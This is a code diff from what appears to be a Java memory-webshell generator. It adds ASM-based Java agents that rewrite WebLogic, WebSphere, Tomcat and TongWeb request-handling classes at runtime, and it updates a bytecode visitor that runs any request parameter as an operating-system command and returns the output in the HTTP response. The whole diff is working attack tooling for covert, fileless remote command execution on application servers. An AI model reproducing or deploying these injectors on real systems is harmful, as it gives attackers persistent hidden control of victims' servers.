||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -61,7 +61,8 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
+3
-2
@@ -20,7 +20,7 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -64,7 +64,8 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
+3
-2
@@ -21,7 +21,7 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -62,7 +62,8 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
+3
-2
@@ -21,7 +21,7 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -65,7 +65,8 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
|
||||
private static final String TARGET_METHOD_NAME = "securedExecute";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public WebLogicServletContextAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.injector.websphere;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public WebSphereFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
|
||||
}
|
||||
}
|
||||
+45
-23
@@ -11,17 +11,39 @@ import org.objectweb.asm.Type;
|
||||
*/
|
||||
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
private final Type[] argumentTypes;
|
||||
|
||||
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) {
|
||||
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argumentTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
int startIndex = 1;
|
||||
for (Type type : argumentTypes) {
|
||||
startIndex += type.getSize();
|
||||
}
|
||||
|
||||
// Explicitly define indices for all local variables
|
||||
int paramNameIndex = startIndex;
|
||||
int cmdIndex = startIndex + 1;
|
||||
int processIndex = startIndex + 2;
|
||||
int inputStreamIndex = startIndex + 3;
|
||||
int outputStreamIndex = startIndex + 4;
|
||||
int bufferIndex = startIndex + 5;
|
||||
int lengthIndex = startIndex + 6;
|
||||
int exceptionIndex = startIndex + 7;
|
||||
|
||||
// Access method arguments - adjust based on whether method is static or not
|
||||
int requestIndex = 1; // Arg index 1
|
||||
int responseIndex = 2; // Arg index 2
|
||||
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3
|
||||
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
@@ -35,7 +57,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Get the parameter from request: request.getParameter(paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
@@ -49,39 +71,39 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName
|
||||
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
|
||||
|
||||
// Check if cmd is not null
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 4);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||
"()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||
"(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5
|
||||
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process in local var 5
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process
|
||||
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
|
||||
"()Ljava/io/InputStream;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6
|
||||
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6
|
||||
|
||||
// Get response output stream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
@@ -89,18 +111,18 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8
|
||||
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
@@ -110,22 +132,22 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
|
||||
"([B)I", false);
|
||||
mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9
|
||||
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, 9);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
|
||||
"([BII)V", false);
|
||||
|
||||
@@ -151,7 +173,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it
|
||||
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
|
||||
Reference in New Issue
Block a user